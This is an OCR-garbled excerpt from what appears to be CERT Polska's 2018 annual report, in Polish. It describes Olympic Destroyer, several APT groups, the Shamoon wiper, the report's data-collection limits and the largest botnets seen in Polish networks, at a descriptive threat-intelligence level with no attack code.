McAfee przedstawita opis'? atakéw phishingowych skierowanych na jeden z adreséw e-mailowych
organizatoréw imprezy. Wiadomosé miata pochodzi¢ od koreanskiego Centrum Antyterrorystycz-
nego, ktére w tamtym czasie przeprowadzato ¢éwiczenia na terenach Igrzysk. Dokument bedacy
zatgcznikiem do wiadomosci prowadzit do pobrania i uruchomienia ztosliwego oprogramowania,
cho¢ na tamten moment jeszcze wzglednie uspionym - pozyskujgcym jedynie informacje o systemie
i organizacji sieci.

Rysunek 70. Fatszywa wiadomos$c phishingowa.

W dniu ceremonii otwarcia kibice zaczeli zgtasza¢ problemy z dostepem do strony internetowe;j
imprezy oraz funkcji drukowania biletéw. Dziennikarze w centrum prasowym byli z kolei pozbawieni
dostepu do internetu i przekazow telewizyjnych. Przywrécenie dziatania ustug zajeto 12 godzin. Dwa
dni pézniej organizatorzy Igrzysk przyznali, ze powodem awarii byty ataki hakerskie z uzyciem zto-
Sliwego oprogramowania, jednak nie chcieli zdradzi¢ szczegétow.

Juz tego samego dnia prébki ztosliwego oprogramowania uzytego w ataku trafity do firm zajmuja-
cych sie bezpieczenstwem IT. Jako pierwsi, kilka dni pdzniej, techniczng analize przedstawili bada-
cze z firmy Cisco Talos'3. Jak piszg, gtéwny plik wykonywalny badanej przez z nich probki zawierat
w sobie wiele modutéw odpowiedzialnych za poszczegdlne funkcje ztosliwego oprogramowania.

Pierwszy z modutéw odpowiedzialny byt za automatyczne rozprzestrzenianie sie ztosliwego opro-
gramowania na komputery w sieci lokalnej i domenowej. Chcac zainfekowac kolejne maszyny, nale-
zato pozyskac dane uwierzytelniajgce, do czego stuzyty dwa kolejne moduty. Jeden z nich wykradat
zapisane hasta z przegladarek internetowych, a drugi hasta uzytkownikéw zalogowanych w syste-
mie operacyjnym. Co ciekawe, byly one zapisywane w samym pliku wykonywalnym uzywanym do
kolejnych infekcji. Prébka badana przez Cisco Talos, w czasie swojego rozprzestrzeniania sie w sieci
organizatorow Igrzysk, pozyskata dane uwierzytelniajgce az 44 kont.

Najwazniejszym modutem Olympic Destroyera, jak zostato nazwane to ztosliwe oprogramowanie,
byt ten, ktory prébowat ostatecznie uszkodzi¢ zainfekowany system. Po usunieciu kopii zapasowych
oraz funkcji przywracania systemu, probka usitowata nieodwracalnie nadpisaé¢ dostepne pliki oraz
skonfigurowaé system tak, aby nie byto mozliwe jego ponowne uruchomienie, oraz wytgczy¢ kom-
puter.

122 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
123 https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
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W nastepnych dniach po incydencie media oraz badacze bezpieczenstwa IT prébowali dokonac
atrybucji ataku, ale pojawito sie wiele wykluczajgcych sie ze sobg teorii. Wszystkie z nich podsu-
mowat pozniejszy raport Cisco Talos'4. Jedna z nich wskazywata na powigzania prébki ztosliwego
oprogramowania z tymi wykorzystywanymi przez potnocnokoreanska grupe Lazarus: podobne na-
zewnictwo plikow, kod niszczenia zawartosci plikéw (cho¢ byt on w tym momencie juz publiczny)
oraz czes¢ nagtéwka pliku wykonywalnego, co oznaczato bezposrednie skopiowanie go z prébek
Lazarusa. Druga teoria wskazywata na powigzania z chinskimi grupami APT3 oraz APT10. Firma
Intezer wskazywata'®® na podobienstwa w metodzie generowania kluczy do szyfrowania komunikacji
oraz sposobie wykradania danych uwierzytelniajgcych kont systemowych. Jednak ostatecznie wy-
kazano, ze oba pochodzg z programu Mimikatz, ktérego kod jest publicznie dostepny. Z kolei sam
sposéb rozprzestrzeniania sie miat elementy zbiezne z kodem NotPeyta, cho¢ Olympic Destroyer
nie wykorzystywat do tego podatnosci w systemie operacyjnym.

Pod koniec lutego 2018 r. w gazecie Washington Post ukazat sie materiat'*® powotujgcy sie na ano-
nimowe wypowiedzi przedstawicieli amerykanskiego rzgdu. Miaty one zgodnie méwic, ze wedtug do-
chodzenia amerykanskich agencji wywiadowczych jednoznacznie wine za ataki na Zimowe Igrzyska
Olimpijskie nalezy przypisaé grupie hakeréw dziatajgcych w ramach rosyjskiego wywiadu wojsko-
wego - GRU. Wszystkie “fatszywe flagi” w kodzie i metodach zto$liwego oprogramowania przypisu-
jace atrybucje, w szczegoélnosci potnocnokoreariskg, miaty by¢ umieszczone z petng premedytacjs.
Ostatecznie zainfekowanych miato by¢ kilkaset komputeréw w infrastrukturze Igrzysk Olimpijskich.

Co ciekawe, nie byto to ostatnie wykorzystanie Olympic Destroyera w 2018 roku. Na przestrzeni
maja i lipca firma Kaspersky zaobserwowata'®” serie atakow phishingowych, ktére bardzo przypomi-
naty te z poczatku roku. Atakowane byty organizacje z Francji, Holandii, Szwajcarii, Niemiec, Ukra-
iny, ale takze rosyjskie instytucje finansowe. Specjalng uwage badaczy zwrdcity dwa dokumenty
uzyte w atakach phishingowych. Oba zwigzane byty z atakiem na Siergieja Skripala oraz jego corke
w Salisbury w marcu 2018 roku. Jeden dokument bezposrednio dotyczyt Srodka chemicznego uzytego
w ataku, a drugi warsztatow przeprowadzanych przez szwajcarskie Laboratorium Spiez, ktére bada-
to trucizne. Warto podkresli¢, ze kilka miesiecy p6zniej Stany Zjednoczone wniosty akt oskarzenia
przeciwko rosyjskim hakerom z GRU™®, w ktérym zarzucajg im ataki wtasnie na to laboratorium.

Rysunek 71. Dokument z wiadomoS$ci ataku phishingowego.

134 https://www.virusbulletin.com/virusbulletin/2018/10/vb2018-paper-who-wasnt-responsible-olympic-destroyer/

'35 http://www.intezer.com/2018-winter-cyber-olympics-code-similarities-cyber-attacks-pyeongchang/

%6 https://www.washingtonpost.com/world/national-security/russian-spies-hacked-the-olympics-and-tried-to-make-it-look-like-north-korea-did-it-us
-officials-say/2018/02/24/44b5468e-18f2-11e8-92c9-376b4fe57ff7_story.html

137 hitps://securelist.com/olympic-destroyer-is-still-alive/86169/

138 https://www.justice.gov/opa/page/file/1098481/download
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Zaawansowane zagrozenia

W tej sekcji opisujemy wybrane obserwacje dotyczgce dziatalnosci grup dysponujgcych duzymi
Srodkami i arsenatem narzedzi, najczesciej kojarzonych ze stuzbami specjalnymi réznych krajow.

Fancy Bear / APT28

Grupa APT28 regularnie przeprowadza ataki na instytucje panstwowe, organizacje powigzane
z bezpieczenstwem narodowym oraz cele zwigzane z aktualnie prowadzong polityka zagraniczng
przez rzad rosyjski. Duzo swiatta na liczne dziatania i operacje prowadzone przez hakerow rosyjskie-
go wywiadu wojskowego rzucajg akty oskarzenia wydane w 2018 r. przez amerykanski departament
sprawiedliwosci. Opisujemy je szerzej w osobnym artykule (str. 91), podobnie jak przypisywany im
przez amerykanow atak na Zimowe Igrzyska Olimpijskie (str. 96).

Lazarus / BlueNoroff / APT38

Zespot pochodzacy z Korei Pétnocnej odpowiedzialny za atak na polskie instytucje finansowe
w 2016/2017 roku'®. Kaspersky Lab wyréznit wewnatrz struktury grupy dedykowang podgrupe
o nazwie BlueNoroff'*°, specjalizujgcg sie w kradziezach srodkéw finansowych oraz kryptowalut.

Z obserwacji CERT Polska wynika, ze w 2018 r. grupa Lazarus swojg dziatalnos¢ prowadzita gtéwnie
na obszarze Azji i Ameryki Potudniowej. Sporadycznie infekcje zdarzaty sie w Europie - gtdwnie w
Turcji. Nie obserwowali$my kampanii celowanych w polskie instytucje. Interesujgcym celem ataku
przeprowadzonego w Ameryce Centralnej byto kasyno internetowe. W jego sieci zostaty znalezione
narzedzia, ktére byty wykorzystywane rowniez do przeprowadzenia ataku na polski sektor finanso-
wy: wiper KillDisk oraz backdoor NukeSped™'.

Grupa przejeta pomyst na azjatyckie kampanie od twércéw malware’u mobilnego, ktérzy bardzo cze-
sto podszywali sie pod aplikacje stuzgce do obrotu kryptowalutami. Wybér cyberprzestepcow padt
na program Celas Trade Pro. Jednak z tg r6znica, ze nie dystrybuowano instalatora z backdoorem,
tylko zto$liwy kod pobierat sie wspdlnie z aktualizacjg programu.

Rysunek 72. Interfejs uzytkownika programu Celas Trade Pro.

3% Wiecej szczegdtéow w raporcie CERT Polska za 2017 rok.
140 https://securelist.com/lazarus-under-the-hood/77908/
41 https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/
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Malware FALLCHILL byt dedykowany systemom Windows oraz OS X i stuzyt jako typowe opro-
gramowanie Remote Access Tool'2. Byt to pierwszy etap ataku, w ktérym wyselekcjonowane ofia-
ry otrzymywaty innego backdoora o ciekawej charakterystyce: nagtéwki do komunikacji HTTP w
prébce byty zapisane na state i zawieraly cigg znakdw, ktory jednoznacznie wskazuje na pétnocno-
koreanskie pochodzenie: “Accept-Language: ko=-kp, ko-kr;g0=8.,ko;qg0=6.,en-us;qg-
0.4,en;9=0.2"

Rysunek 73. Nagtowki zapisane w probce FAILCHILL, (zrédto: Kaspersky Lab).™#

Tworcy scenariuszy operacji Lazarus wykazujg sie duzg kreatywnoscig. Do systemu firmy Redbanc,
obstugujgcego sie¢ bankomatéw w Chile, wiamano sie poprzez atak na dewelopera firmy znale-
zionego na LinkedIn™4. Otrzymat on zaproszenie na rozmowe rekrutacyjng przez Skype’a, a przed
potaczeniem zostat naméwiony do uruchomienia aplikacji zbierajgcej dane dotyczace preferenciji
i warunkow rekrutacji, ktéra byta ztosliwym oprogramowaniem. Umozliwito to stworzenie punktu wej-
$cia do sieci i umieszczenia w niej implantow z PowerRatankba>.

Rysunek 74. Fatszywy program do rekrutacji programistéw wykorzystywany do infekcji przez APT38.

42 https://www.fortinet.com/blog/threat-research/a-deep-dive-analysis-of-the-fallchill-remote-administration-tool.html
143 hitps://securelist.com/operation-applejeus/87553/

44 https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/

45 https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
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LuckyMouse / APT27

Jednostka powigzana z Chinskg Republikg Ludowg obecnie przeprowadzajgca operacje ofensywne
przeciwko panstwom na obszarze Azji. Portfolio ofiar nie koncentruje sie tylko na obszarze wschod-
nim: grupa byta réwniez odpowiedzialna za wtamania do sieci europejskiego przedsiebiorstwa zaj-
mujacego sie budowg dronéw oraz francuskiej firmy z branzy energetycznej™®. Przez pewien czas
jednostka byta u$piona, stata sie bardzo aktywna w 2018 roku.

Jednym z najbardziej spektakularnych atakéw w 2018 roku jest przejecie rzadowego centrum da-
nych celem pozyskania informaciji oraz przeprowadzania atakéw metodg wodopoju'¥’, zastosowang
m.in. w ataku na polski sektor finansowy. Do infekcji ofiar grupa gtéwnie wykorzystywata exploita na
dobrze znang podatnos$¢ w pakiecie Microsoft Office, CVE-2017-11882148,

Cyberprzestepcy korzystajg z autorskiego oprogramowania ze wstawkami z otwartozrédiowego
kodu, najczesciej z serwisu Github. Atak przeprowadzony w marcu 2018 r. z uzyciem fatszywego
sterownika NDISProxy, ktéry wykorzystywat skradziony podpis cyfrowy chifskiej firmy zajmujgcej sie
rozwigzaniami bezpieczenstwa LeagSoft'*. Interesujacy jest fakt, ze przestepcy nie przeprowadzali
kampanii mailingowej, lecz recznie instalowali ztosliwe oprogramowanie we wcze$niej skompromi-
towanych sieciach.

APT10

APT10 to kolejna grupa powigzana z Chinami. Jej gtdbwnym zadaniem jest prowadzenie szpiegostwa
przemystowego w internecie i przekazywanie danych technologicznych chiriskim firmom. Ich opera-
cje przeciwko amerykanskim instytucjom oraz gtosny wyciek danych osobowych ponad 100 tysiecy
amerykanskich Zzotnierzy i pracownikéw cywilnych Marynarki Wojennej przedstawiamy w artykule
o amerykanskich aktach oskarzen (patrz str. 89).

BlackEnergy & GreyEnergy / TeleBots

Pod nazwami BlackEnergy & GreyEnergy / TeleBots dziata rosyjski aktor APT dziatajgcy w obszarze
infrastruktury krytycznej, ktéry jest przede wszystkim znany ze spowodowania blackoutu na Ukrainie
pod koniec 2015 roku'°. W branzy bezpieczenstwa teleinformatycznego ten atak jest uwazany za
pierwszy skuteczny cyberatak na sie¢ elektryczng: wytgczone zostato 30 podstacji, a bez pradu po-
zostato 230 tysiecy oséb. W repertuarze udanych atakéw tej grupy znajduje sie jeszcze ransomware
NotPetya, kiory rowniez zaatakowat Ukraine' oraz malware Industroyer dedykowany systemom
sterowania przemystowego Siemens SIPROTEC2,

Badacze z firmy ESET sledzgcy dziatalnos$¢ BlackEnergy przypuszczajg, ze po ostatnim ataku grupa
zostata podzielona na dwa zespoty: GreyEnergy oraz TeleBots'®3. GreyEnergy zajmuje sie sprawami
atakow na infrastrukture i procesy przemystowe, a TeleBots jest dedykowany atakom majgcym na
celu zniszczenie danych, przerwanie ciggtosci dziatania oraz pozyskiwanie informac;ji'®.

Na poczatku drugiego kwartatu 2018 r. grupa TeleBots rozpoczeta ataki za pomocg nowego, autor-
skiego backdoora o nazwie Exaramel. Ta rodzina dedykowana jest zaréwno platformie Windows, jak
i Linux oraz wykazuje szereg podobienstw z komponentem backdoora zawartym w Industroyerze.
Pozwolito to na szybkg atrybucje ataku o wysokim stopniu ufnosci.

148 https://threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/

147 https://securelist.com/luckymouse-hits-national-data-center/86083/

148 https://github.com/embedi/CVE-2017-11882

149 https://www.leagsoft.com/

180 https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf

151 https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine/

182 https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

153 https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf

184 https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
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Rysunek 75. Poréwnanie modutéw backdooréw: po lewej stronie malware Exaramel, po prawej Industroyer (zrédfo: ESET'®).

GreyEnergy w swoim bogatym arsenale narzedzi posiada malware dedykowany poszczegdlnym
fazom ataku - jednym z nich jest backdoor o nazwie FELIXROOT do wstepnego badania zainfeko-
wanej ofiary. Pierwsze ataki zostaty zaobserwowane przez firme FireEye we wrzesniu 2017 roku®,
Grupa najczesciej przeprowadzata ataki za pomocg "uzbrojonych” dokumentéw pakietéw Microsoft
Office: wykorzystywane byly zaréwno makra, jak i znane podatnosci: CVE-2017-0199' oraz CVE-
2017-11882. FELIXROOT nie wyrdznia sie niczym szczegdélnym pod wzgledem funkcjonalnosci
wsrdd backdooréw “obecnych na rynku” - udostepnia mechanizmy uruchamiania plikow, pobierania
informacji o zarazonej maszynie i sieci, w ktorej sie znajduje.

Backdoor koricowej fazy ataku jest skuteczny i bardzo dobrze przygotowany: podpisany skradzio-
nym podpisem cyfrowym tajwanskiej firmy Advantech, ma mozliwo$é dziatania w pamieci oraz jako
ustuga w systemie operacyjnym. Modularna budowa umozliwia szybkg rozbudowe o dodatkowe
funkcjonalno$ci. Badacze z firmy ESET zidentyfikowali dziewie¢ modutéw odpowiedzialnych m.in.
za wstrzykiwanie kodu, pozyskiwanie haset uzytkownikéw, tworzenie proxy i tuneli SSH w zain-
fekowanej infrastrukturze. Cyberprzestepcy w atakach nie wykorzystywali wszystkich opracowa-
nych modutéw. Dobierano je w zalezno$ci od tego, jakie dziatania miaty zosta¢ przeprowadzone na
danej maszynie. Malware wykorzystuje szereg technik utrudniajgcych zaréwno analize prébki, jak
i jej dziatah w systemie operacyjnym ofiary: probki uzywaja réznigcych sie miedzy sobg algorytméw
szyfrowania. Bufory (np. zawierajace stringi) po wykorzystaniu najpierw sg zerowane, a dopiero
w kolejnym kroku zwalniania jest pamie¢. Podobnie wyglada sprawa z kasowanymi plikami: dziatanie
funkcji DeleteFileA oraz DeleteFileW polega na przechwytywaniu i dodawaniu funkcji bezpiecznego
kasowania plikow, czyli nadpisanie zerami przed skasowaniem. Warto w tym miejscu doda¢, ze ser-
wery zarzgdzajgce (C&C) kazdej rodziny ztosliwego oprogramowania w/w grup sg ukryte w sieci Tor.

CozyDuke / APT29

Aktor powigzany z grupg APT28, atakujgcy gtownie panstwa dawnego Zwigzku Radzieckiego oraz
cele zwigzane z aktualnie prowadzong przez Rosje politykg zagraniczng. Przez wiekszg cze$c
roku “uspiona”, powrdcita w listopadzie z szerokg kampanig phisingowa celowang w amerykanskie

%5 https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
%6 https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html
87 hitps://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
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instytucje publiczne, przedsiebiorstwa z branz: zbrojeniowej, farmaceutycznej, transportowej oraz
media. Ztosliwe maile zawieraty archiwum ZIP z plikiem skrétu Windows, ktéry odpowiadat za urucho-
mienie srodowiska PowerShell, ktérego celem byto pobranie plikdw odpowiedzialnych za pierwszag
faze ataku. Przestepcy wykorzystali komercyjnie dostepne oprogramowanie do testéw bezpieczen-
stwa Cobalt Strike. Wraz z malware na komputerze ofiary tworzony byt plik z fatszywym dokumen-
tem, rzekomo pochodzgcym z Departamentu Stanu USA. Nastepna faza ataku przeprowadzana
byta recznie w zaleznosci od pozyskanych danych o infrastrukturze ofiar oraz priorytetéw grupy.

Podobienstwo tej kampanii z atakiem przeprowadzonym w listopadzie 2016 r., w zwigzku z wybo-
rami prezydenckimi w USA, z duzym stopniem pewnos$ci wskazuje na grupe jako inicjatora ataku:
taka sama technika i bardzo podobna zawartos¢ skrotéw LNK, malware uzyty do pierwszej fazy oraz
zblizony dobér ofiar.

Rysunek 76. Fatszywy dokument departamentu stanu USA wykorzystywany przez grupe CozyDuke (zrédfo: FireEye).

Turla / Snake

Turla jest trzecig grupa powigzang z Federacjg Rosyjskg. Wedtug estonhskich stuzb wywiadowczych
dziata w strukturach Federalnej Stuzby Bezpieczehnstwa'®. Jej gldownym celem s3g placowki dyplo-
matyczne na catym Swiecie. W bogatym portfolio ofiar tej grupy znajdujg sie takie kraje jak: Polska,
USA, Chiny, Niemcy, Francja, Arabia Saudyjska, Hiszpania oraz Iran. Jest to jedna z pierwszych
zidentyfikowanych grup przeprowadzajgcych ataki APT oraz uznawana jest za czotéwke zaawan-
sowania technicznego na $wiecie - przyktadem tego moze byé wykorzystywanie od 2007 r. fgcz

188 https://www.valisluureamet.ee/pdf/raport-2018-ENG-web.pdf
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satelitarnych do ukrywania potozenia geograficznego swoich serwerdéw (wystarczy, ze satelita byta
“widoczna” z poziomu anteny podtgczonej do C&C i nastepowat spoofing adresu IP)'.

Na poczatku 2018 r. za sprawg gazety Der Spiegel, zrobito sie gtosno o tej grupie z powodu udanego
ataku na niemieckie sieci rzadowe'®. Turla na przestrzeni roku znaczaco rozwineta swoje narzedzia
wykorzystywane do atakéw: backdoor napisany w JavaScript KopiLuwak oraz backdoor Carbon
stuzgcy do poézniejszych faz ataku. Wykorzystanie KopiLuwak w 2018 r. ograniczato sie do celow
w Syrii oraz Afganistanie. Malware dostarczany byt za pomoca zto$liwego pliku skrétu .Ink zawie-
rajacego kodowany payload. Interesujgce jest, Zze niemalze identyczny skrypt wykorzystywany byt
w atakach grupy GreyEnergy'c".

Warto zaznaczy¢, ze kampanie przeprowadzane przez grupe sg bardzo dyskretne - ofiary wybiera-
ne sg starannie, a ataki bardzo dobrze przygotowane i czesto przeprowadzane w niestandardowy
sposéb - jest to przyczyng duzo mniejszej liczby obserwacji przez badaczy niz dziatania ofensywne
przeprowadzane przez grupy: APT28, APT29 czy BlackEnergy.

Shamoon/Disttrack

Koniec roku 2018 przyniést powrét, po okoto dwéch latach nieobecnosci, kolejnego destrukcyjnego
narzedzia. Nowe prébki ztosliwego oprogramowania o nazwie Shamoon, identyfikowanego réwniez
jako Disttrack, zostaty opublikowane w serwisie VirusTotal 10 grudnia 2018 r. Oprogramowanie to
zostato zaobserwowane w ataku na wioskg spétke Saipem zajmujgca sie wydobyciem oleju oraz
gazu na Bliskim Wschodzie'?. Wedtug przedstawicieli firmy atak z grudnia objagt okoto 300 ser-
weréw oraz 100 komputeréw nalezgcych do firmowej sieci'®®. Oprogramowanie Shamoon zostato
po raz pierwszy zaobserwowane w 2012 r. podczas kampanii wymierzonej w firme Saudi Aramco,
w wyniku ktérej zostaty usuniete dane z 35000 urzgdzen nalezgcych do firmy.

W przeciwienstwie do kampanii obserwowanych w poprzednich latach, Shamoon dziatat w parze
z oprogramowaniem do nadpisywania plikdw na dysku zainfekowanego urzgdzenia - Trojan.Filera-
se. Firma Symantec opublikowata na swoim blogu wpis, w ktérym twierdzi, ze posiada dowody na
uzycie Shamoon w tym samym tygodniu w atakach wobec dwdch innych firm zajmujacych sie prze-
mystem energetycznym w Arabii Saudyjskiej oraz Zjednoczonych Emiratach Arabskich'®4.

Gtéwnym zadaniem nowo zaobserwowanej wersji Shamoon jest nadpisanie rekordu rozruchowego
dysku Master Boot Record (MBR) losowo generowanymi danymi. Sam Shamoon sktadat sie z trzech
gtéwnych komponentéw: droppera, modutu usuwajgcego dane z dysku oraz modutu stuzgcego do
komunikacji z serwerem C&C, ktérego adres w wypadku wspomnianej probki nie zostat wpisany.

Dropper, poza instalacjg dwéch pozostatych modutéw w systemie ofiary, miat za zadanie rozprze-
strzeni¢ malware do innych urzgdzen znajdujgcych sie w sieci lokalnej. Czynit to za pomocag wcze-
$niej wykradzionych danych logowania'®. Ponadto uzywat odczytywanej z kodu programu lub z pliku
‘%WINDOWS %\inimdmnis5tQ1.pnf’ daty, w zaleznosci od ktérej uruchamiane byty pozostate modu-
ty oprogramowania. W przypadku zaobserwowanych probek byty to zawsze daty z grudnia 2017 r.,
co najprawdopodobniej miato da¢ pewnos¢ atakujgcym, ze oprogramowanie uruchomi sie zaraz po
infekcji urzadzenia ofiary. Gtéwnym zadaniem modutu wipera - byto nadpisywanie danych w MBR,
partycji oraz plikéw systemowych do czego uzywat sterownika dysku twardego o nazwie RawDisk
dystrybuowanego przez firme EIDos. Po zakonczonej modyfikacji tabeli partycji MBR program re-
startowat system sprawiajgc, ze urzgdzenie nie mogto sie ponownie uruchomié.

%9 https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/

160 http://www.spiegel.de/netzwelt/netzpolitik/hackerangriff-behoerden-vermuten-russische-hacker-gruppe-snake-als-taeter-a-1196089.html
161 https://securelist.com/shedding-skin-turlas-fresh-faces/88069/

162 http://www.saipem.com/sites/SAIPEM_en_IT/con-side-dx/Press%20releases/2018/Cyber%20attack%20update.page

163 https://www.reuters.com/article/us-cyber-shamoon/saipem-says-shamoon-variant-crippled-hundreds-of-computers-idUSKBN10B2FA
164 https://www.symantec.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail

185 https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
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Dodanie modutu Filerase, nadpisujgcego dane na dysku przed przystgpieniem do dziatania gtow-
nego modutu modyfikujgcego MBR, tylko zwiekszyto destrukcyjne dziatanie oprogramowania, unie-
mozliwiajac odzyskanie danych z dyskéw, nawet przy zastosowaniu standardowych metod infor-
matyki $ledczej, co byto mozliwe w przypadku starszych wersji Shamoon. Modut nadpisujgcy dane
w przypadku ataku na Saipem byt dystrybuowany miedzy urzgdzeniami na podstawie listy zdalnych
urzadzen, pozyskanej w wyniku przeprowadzenia przez atakujgcych wczesniejszego rekonesansu.
Komponent o nazwie OCLC.exe najpierw kopiowat te liste i przekazywat do narzedzia Spreader.
exe, ktére kopiowato modut nadpisujgcy dane na dysku na wszystkie urzadzenia z listy oraz uru-
chamiato go.

Co ciekawe, Shamoon nie posiadat funkcjonalnosci do rozprzestrzeniania sie za pomocg popu-
larnych protokotéw sieciowych takich jak Server Message Block (SMB), czesto wykorzystywanych
przez tworcow ztosliwego oprogramowania. Moze to wskazywaé na reczng instalacje Shamoon na
pierwszym urzadzeniu w sieci np. za pomocg wpiecia w port pamieci USB. Innym mozliwym zré-
dtem infekcji mogta by¢ dostepna publicznie, stabo zabezpieczona ustuga Remote Desktop Protocol
(RDP).
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Analizowane przez CERT Polska informacje o zagrozeniach pochodzg z wielu zrédet, m.in. z nasze;j
dziatalnosci operacyjnej, automatycznych systemoéw monitorujgcych zagrozenia (np. sinkhole), ale
przede wszystkim od podmiotéw zewnetrznych, takich jak organizacje non-profit i niezalezni bada-
cze, CERT-y krajowe oraz firmy komercyjne.

Warto zauwazyc¢, jak bardzo réznorodne sg sposoby pozyskania informacji o zagrozeniach. Ponize;j
przedstawiamy kilka najczesciej wykorzystywanych:

« Dane o zainfekowanych komputerach (botach) sg pozyskiwane przede wszystkim poprzez prze-
jecie infrastruktury botnetéw (domeny C&C) i skierowanie ich na systemy typu sinkhole.

+ Do wykrywania atakéw na komputery, ktére udostepniajg ustugi w internecie (np. SSH, WWW),
uzywane sg honeypoty, czyli systemy-putapki udajgce rzeczywiste serwery.

+ W podobny sposéb - przy uzyciu honeypotéw klienckich, czyli systemoéw udajgcych przegladarki
WWW - mogg by¢ wykrywane ztoSliwe strony WWW, ktére infekujg uzytkownikow.

*  Wykrycie podatnych ustug, np. Zle skonfigurowanych serweréw NTP, ktére mogg zostaé wyko-
rzystane do atakéw DDoS, odbywa sie poprzez skanowanie przestrzeni IPv4 na duzg skale.

Ograniczenia

DotozyliSmy staran, aby obraz sytuacji, ktéry wynika z prezentowanych statystyk, trafnie opisywat
wszystkie zagrozenia o duzej skali. Nalezy jednak pamieta¢, ze majg one pewne ograniczenia, wy-
nikajgce gtéwnie ze specyfiki dostepnych danych zrédtowych.

Przede wszystkim nie jest mozliwe zebranie petnej informacji o wszystkich rodzajach zagrozen. Naj-
lepszym na to przyktadem sg ataki na konkretne podmioty lub grupy uzytkownikéw (w przeciwien-
stwie do atakoéw masowych), ktére zazwyczaj nie sa rejestrowane przez nasze systemy monitoruja-
ce, ani zgtaszane do naszego zespotu. Problem z okresleniem aktualnego stanu faktycznego wynika
réwniez z tego, ze zagrozenie moze by¢ aktywne - nawet przez diuzszy czas - zanim zostanie zba-
dane i rozpocznie sie jego regularna obserwacja. Na przyktad liczba zainfekowanych komputeréw
nalezgcych do botnetu, moze by¢ trudna do ustalenia, zanim zostanie on zneutralizowany poprzez
przejecie jego infrastruktury sterujgcej (C&C).

Bardzo wazne jest réwniez okreslenie skali danego zagrozenia. Najczesciej zliczamy adresy IP po-
wigzane z danym zagrozeniem zaobserwowane w ciggu dnia. Przyjmujemy tym samym zatozenie,
ze liczba adreséw jest zblizona do liczby urzgdzen oraz uzytkownikéw, ktérych dany problem do-
tyczy. Jest to metoda niedoskonata, poniewaz powszechnie wykorzystywane sg dwa mechanizmy,
ktére majg wptyw na widoczne publiczne adresy:

* NAT (translacja adreséw) - powoduje niedoszacowanie, poniewaz za jednym zewnetrznym ad-
resem IP czesto znajduje sie wiele komputerow.

+ DHCP (dynamiczna adresacja) - powoduje przeszacowanie, poniewaz np. ten sam zainfeko-
wany komputer moze w ciggu jednego dnia zosta¢ wykryty kilkukrotnie pod ré6znymi adresami.

Mozna podejrzewac, ze wptyw obu tych mechanizmoéw na uzyskane wyniki w duzej czesci sie znosi,
ale dokfadne zbadanie skutkéw NAT i DHCP w tym kontek$cie wymagatoby osobnej analizy.
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Ostatnia uwaga dotyczy wersji protokotu IP: wszystkie podane statystyki odnoszg sie do wers;ji
czwartej tego protokotu. Wynika to z niewielkiego stopnia wdrozenia IPv6 w naszym kraju, a co sie
z tym wigze, z pomijalnie matej liczby zgtoszen jakie otrzymujemy odnosnie tego rodzaju adreséw.

Botnety

Botnety w Polsce

Tabela 10 prezentuje liczbe zainfekowanych komputeréw w polskich sieciach. W 2018 r. zgromadzi-
lismy informacje o0 940 079 unikalnych adresach IP wykazujgcych aktywnosé zombie.

Rodzina Rozmiar

Andromeda 6 059
Conficker 4 529
Mirai 1969
Sality 1531
Necurs 1502
Isfb 1412
Gamut 1392
Stealrat 1312
Nymaim 1261
Pushdo 1008

Tabela 10. Najwigksze botnety w Polsce.

Wartosci w tabeli 10. wskazujg najwiekszg dzienng liczbe unikalnych adresow IP zainfekowanych
komputeréw w polskich sieciach. Wcigz obserwujemy $rednio ponad 6 tys. infekcji botnetem Andro-
meda dziennie. W poréwnaniu z rokiem 2017 ponad czterokrotnie spadta liczba infekcji botnetem
Mirai. Conficker od wielu lat pozostaje w pierwszej tréjce najwiekszych botnetow.

Zarejestrowalismy rowniez wysokg aktywnos¢ botnetu Marcher. W szczytowym okresie zanotowa-
lismy ponad 20 tys. unikalnych adresow IP z systemem Android zainfekowanym tym trojanem. Jed-
nak ze wzgledu na brak ciggtosci danych, nie publikujemy tych infekcji w ogélnym zestawieniu.

Aktywnos¢ botnetéw z podziatem na operatoréw telekomunikacyjnych

Na wykresie 5. prezentujemy stopieh zainfekowania uzytkownikéw u najwiekszych operatoréw tele-
komunikacyjnych. Szacujemy go na podstawie liczby zainfekowanych unikalnych adresow IP. Sto-
pien zainfekowania uzyskujemy, dzielgc liczbe botéw przez liczbe klientéw korzystajacych z dostepu
do internetu u danego operatora. Wykorzystujemy przy tym dane z ,Raportu o stanie rynku teleko-
munikacyjnego w Polsce w 2017 roku” wydanego przez Urzad Komunikacji Elektronicznej."

166 https://www.uke.gov.pl/download/gfx/uke/pl/defaultaktualnosci/36/93/1/raport_o_stanie_rynku_telekomunikacyjnego_-_2017_r..pdf
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Wykres 5. Wykres zmian stopnia infekcji u operatoréw w 2018 roku.

Liczba infekcji wsréd polskich operatoréw ksztattowata sie $rednio na poziomie 13 tys. dziennie.
Na przestrzeni roku zaobserwowalismy stopniowy spadek infekcji komputeréw w polskich sieciach.
Dominujacy trend majg spadki infekcji botnetem Andromeda, szczegdlnie wérdd operatoréw Multi-
media i Vectra. Spadki dotyczg réwniez tzw. bankerow - ISFB, Nymaim oraz Tinba. W grudniu 2018
r. zaobserwowali$§my dwukrotnie mniej infekcji tymi botnetami niz na poczatku roku.

